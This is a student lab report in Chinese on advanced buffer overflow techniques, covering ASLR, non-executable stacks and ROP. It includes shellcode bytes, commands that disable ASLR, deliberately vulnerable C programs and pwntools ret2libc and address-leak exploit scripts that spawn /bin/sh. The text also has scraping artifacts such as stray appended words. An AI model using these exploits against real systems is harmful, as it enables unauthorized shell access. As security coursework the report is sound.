20165313-bof進階

實踐基礎知識

一、ALSR

一、定義:

ASLR,全稱爲 Address Space Layout Randomization,地址空間佈局隨機化,它將進程的某些內存空間地址進行隨機化來增大入侵者預測目的地址的難度,從而下降進程被成功入侵的風險。簡而言之,就是在運行程序時經過隨機化棧地址,從而減低攻擊者猜想到關鍵代碼運行地址的可能,下降被攻擊的風險。
Linux 平臺上 ASLR 分爲 0,1,2 三級,用戶能夠經過一個內核參數 randomize_va_space 進行等級控制。它們對應的效果以下:
0:沒有隨機化。即關閉 ASLR。
1:保留的隨機化。共享庫、棧、mmap() 以及 VDSO 將被隨機化。
2:徹底的隨機化。在 1 的基礎上,經過 brk() 分配的內存空間也將被隨機化。html

二、演示:

用一個簡單的代碼演示一下ALSR對棧地址的影響,代碼以下:python

#include <stdio.h>
int main()
{ 
int a = 1; 
 printf("Address of a is %p, in stack\n", &a); 
return 0; 
}

編譯運行(這裏個人Linux系統默認開啓了地址隨機化);查詢和開啓地址隨機化的命令:linux

echo "2" > /proc/sys/kernel/randomize_va_space 
more /proc/sys/kernel/randomize_va_space

結果入下圖:git

一、運行結果:

二、地址隨機化:

二、堆棧不可執行

一、定義:

經過使被攻擊程序的數據段地址空間不可執行,從而使得攻擊者不可能執行被植入被攻擊程序輸入緩衝區的代碼,這種技術被稱爲非執行的緩衝區技術,即堆棧不可執行。實際上,絕大多數合法程序都是設置堆棧數據段不可執行,由於幾乎全部合法程序都不會在堆棧中存放代碼,這樣既保證了安全性,又兼顧了程序使用。(演示放在實踐內容中)github

3。ROP

一、定義:

1.ROP全稱爲Retrun-oriented Programmming(面向返回的編程)是一種新型的基於代碼複用技術的攻擊,攻擊者從已有的庫或可執行文件中提取指令片斷,構建惡意代碼。

2.ROP攻擊同緩衝區溢出攻擊,格式化字符串漏洞攻擊不一樣,是一種全新的攻擊方式,它利用代碼複用技術。

3.ROP的核心思想:

  • 攻擊者掃描已有的動態連接庫和可執行文件,提取出能夠利用的指令片斷(gadget),這些指令片斷均以ret指令結尾,即用ret指令實現指令片斷執行流的銜接。
  • 操做系統經過棧來進行函數的調用和返回。函數的調用和返回就是經過壓棧和出棧來實現的。每一個程序都會維護一個程序運行棧,棧爲全部函數共享,每次函數調用,系統會分配一個棧楨給當前被調用函數,用於參數的傳遞、局部變量的維護、返回地址的填入等。棧幀是程序運行棧的一部分 ,在Linux中 ,經過%esp和 %ebp寄存器維護棧頂指針和棧幀的起始地址 ,%eip是程序計數器寄存器。
  • 而ROP攻擊則是利用以ret結尾的程序片斷 ,操做這些棧相關寄存器,控制程的流程,執行相應的gadget,實施攻擊者預設目標 。shell

    4.ROP不一樣於retum-to-libc攻擊之處在於,R0P攻擊以ret指令結尾的函數代碼片斷 ,而不是整個函數自己去完成預約的操做。

  • 從廣義角度講 ,return-to-libc攻擊是ROP攻的特例。
  • 最初ROP攻擊實如今x86體系結構下,隨後擴展到各類體系結構.。
  • 與以往攻擊技術不一樣的是,ROP惡意代碼不包含任何指令,將本身的惡意代碼隱藏在正常代碼中。於是,它能夠繞過W⊕X的防護技術。編程

實踐準備

本次試驗因爲須要用到[ROPgadget](https://github.com/JonathanSalwan/ROPgadget/tree/master),因此須要提早安裝pip,capstonepwntools安裝命令以下:安全

sudo apt-get update
sudo apt-get install pip
sudo pip install capstone
pip install ropgadget
ROPgadget
pip install pwntools

安裝完成後需重啓虛擬機。dom

實踐內容

一、基礎攻擊——關閉堆棧保護和地址隨機化(32位)

一、參考實驗一

二、堆棧不可執行演示(以pwn爲例):

過程簡述:函數

一、準備工做:

cp pwn1 5313
execstack -s 5313    //設置堆棧可執行
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化

二、測試尋找溢出地址:

構造一個字符串做爲測試輸入,尋找進程號,gdb調試找到覆蓋地址,構造playload,攻擊成功:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
(cat input_shellcode;cat) | ./5313 
ps -ef | grep 5313
perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./5313

具體過程可參考試驗一中的任務三

三、關閉堆棧可執行重複2中的操做(關閉堆棧可執行命令:execstack -c 文件名):


能夠看出堆棧不可執行對於溢出攻擊有必定的防範效果。

二、進階實踐——開啓堆棧保護

一、原理簡述

由上文可看出簡單的在本來代碼中利用堆棧溢出實施攻擊的方法已經不可用了,因此咱們利用ROP技術實施攻擊。(基礎知識裏已經簡紹了)這裏用量組圖簡單解釋一下:

一、核心原理:

攻擊用的緩衝區 指向的內容 說明
ptr3內存地址3(高地址) system
ptr2內存地址2 /bin/sh
ptr1內存地址1(低地址) pop %rdi;retq 覆蓋堆棧上的返回地址
填充內容 這部份內容主要是長度要合適,保證ptr1能覆蓋到返回地址
  • 利用這個攻擊buf覆蓋堆棧
  • 當函數返回時,就會跳轉到ptr1指向的指令
  • pop %rdi時,ESP/RSP指向的就是ptr2,結果就是ptr2被彈出到rdi中。而後ESP/RSP指向ptr3
  • 接下來執行retq時,就會跳轉到當前ESP指向的內容,即ptr3指向的函數,system。system從RDI中取參數運行/bin/sh得到Shell。

二、具體操做:


說明:

gadget_addr指向的是程序中能夠利用的小片斷代碼
bin_sh_addr指向的是字符串參數:'/bin/sh'
system_addr則指向system函數
1.程序運行到gadget_addr時(esp/rsp指向gadget_addr),接下來會跳轉到小片斷裏執行命令,同時``esp/rsp+8(esp/rsp指向bin_sh_addr) 2.而後執行pop rdi/edi,將bin_sh_addr彈入edi/rdi寄存器中,同時esp/rsp + 8(esp/rsp指向system_addr) 3.執行return指令,由於這時esp/rsp是指向system_addr的,這時就會調用system函數,而參數是經過edi/rdi傳遞的,也就是會將/bin/sh傳入,從而實現調用system('/bin/sh')```

二、開啓堆棧不可執行關閉地址隨機化

32位攻擊:

一、開啓堆棧不可執行:

execstack -c 5313

二、gdb調試

輸入gdb ./5313以後,開始調試:

  • 先將在main處設置斷點,而後運行程序
  • 輸入print system查看system在內存中的位置,如圖位置在0xf7e10980處
  • 輸入print __libc_start_main查看__libc_start_main的位置,同時根據__libc_start_main的位置,找到/bin/sh的位置:0xf7f50aab

三、攻擊:

由第二步獲得的system和/bin/sh的位置,編寫payload並注入

64位攻擊:

一、測試代碼編譯:

#include <stdio.h>
#include <string.h>

void vul(char *msg)
{
   char buffer[64];
   memcpy(buffer,msg,128);
   return;
}

int main()
{
   puts("So plz give me your shellcode:");
   char buffer[256];
   memset(buffer,0,256);
   read(0,buffer,256);
   vul(buffer);
   return 0;
}

使用命令gcc -g -ggdb -fno-stack-protector -no-pie a.c -o a產生可執行文件。這裏解釋一下:-fno-stack-protector在gcc編譯中表示棧溢出檢測。

二、查看加載的libc文件及地址:

ldd a

  • 獲得libc版本爲:libc.so.6
  • libc的加載地址libc_base = 0x00007f07ecbf2000
  • 同時將libc.so.6拷貝到a同級目錄:cp /lib/x86_64-linux-gnu/libc.so.6 你的目錄

三、利用ROPgadget尋找可以使用的gadget片斷:

ROPgadget --binary a --only "pop|ret"|grep rdi

四、編寫攻擊代碼:

from pwn import *

p = process('./a')
p.recvuntil("shellcode:")

elf = ELF('libc.so.6')

system_in_libc = elf.symbols['system']                  #system在libc文件裏的偏移地址
#print hex(system_in_libc)  
bin_sh_in_libc = next(elf.search('/bin/sh'))            #/'bin/sh'字符串在libc裏的偏移地址
#print hex(bin_sh_in_libc)

libc_base =   0x00007f07ecbf2000                      #libc加載的基址
gadget_addr = 0x000000000040123b                    #搜索到的gadget片斷的地址
system_addr = libc_base + system_in_libc              #system在程序裏的地址
bin_sh_addr = libc_base + bin_sh_in_libc                #/bin/sh在程序裏的地址

print hex(system_addr) +'----'+hex(bin_sh_addr)

#佈局
buf = 'A'*72                                               
buf += p64(gadget_addr)
buf += p64(bin_sh_addr)
buf += p64(system_addr)

with open('poc','wb') as f :
    f.write(buf)

p.sendline(buf)                                                  #開始溢出
p.interactive()

運行python b.py

可見攻擊失敗,推測多是攻擊代碼有錯漏,繼續尋找解決方案。

從新開始:


成功獲權,上一步未成功緣由多是地址尋找錯誤。

三、再次進階——開啓堆棧不可執行和地址隨機化

一、原理:

一、繞過ASLR(地址隨機化),泄露出libc的基址libc_base,而後利用Ret2libc或構造ROP鏈繞過NX(二者一次完成)
二、首先經過溢出返回至PLT表中,調用具備輸出功能的函數(經常使用puts/write/printf)將GOT表中的真實libc函數地址打印出來,從而分析libc基地址。而後返回至漏洞函數二次觸發溢出,此時便採起正常利用思路得到shell。
三、圖文簡述:


返回地址return_addr被覆蓋爲puts@plt地址,當運行到原返回地址位置時,會跳轉到puts中執行,同時,esp指向esp+4,這時對puts來講,它內部的ret(返回地址)執行時esp指針仍是指向esp+4的,也就是esp + 4(main)就是puts函數的返回地址,而esp+8(__libc_start_main@got.plt)則是它的參數。當調用puts時,__lic_start_main做爲參數傳入,這樣咱們就能夠得到__libc_start_main在程序中的加載地址,當puts返回時會回到main函數當中,從而實現堆漏洞的二次利用。

二、攻擊:

一、objdump -R pwn02查看__lic_start_main地址(0x0804bfd8 ):

二、objdump -d pwn02查找puts@plt(0x08048868)和main( 0x80496d1)


三、編寫代碼攻擊:
from pwn import *
r = process('./pwn02')

def overflow(data):
    r.recvuntil('Your choice: ')
    r.sendline('3')
    r.recvuntil('):')
    r.sendline('+')
    r.recvuntil('):')
    r.sendline('1 2')
    r.recvuntil('input your id')
    r.sendline(data)

buf = 'A' * 44
buf += p32(0x08048868)
buf += p32(0x080496d1)
buf += p32(0x0804bfd8)
overflow(buf)


r.recvuntil('...\n')
leak_message = r.recv(4)
print repr(leak_message)
leak_value = u32(leak_message)
print 'leak_value is ' + hex(leak_value)

libc_base =leak_value - 0x000198B0
system_addr = libc_base + 0x0003D7E0
sh_addr = libc_base + 0x0017c968

buf = 'A' * 44
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(sh_addr)
overflow(buf)

r.interactive()


攻擊失敗,從新嘗試。

從新搭建環境並實踐

此次參考的是:參考資料
漏洞代碼:

include <stdio.h>
#include <string.h>
/* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */
void shell() {
 system("/bin/sh");
 exit(0);
}
int main(int argc, char* argv[]) {
 int i=0;
 char buf[256];
 strcpy(buf,argv[1]);
 printf("%s\n",buf);
 return 0;
}


反彙編可見,其自己就有可利用的PLT代碼(自己不因ALSR發生變化),所以可直接利用其獲權。即直接利用一個在執行前就知道地址的獲權函數。

實踐感想

自己的水平有限,作出來的結果並非那麼合乎要求。但經過此次實踐,我仍是收穫很多,最重要的是,我逐漸學會了如何獨自了解學習本身歷來不瞭解的的知識,這對個人幫助無疑是最大的,繼續努力。

相關文章
相關標籤/搜索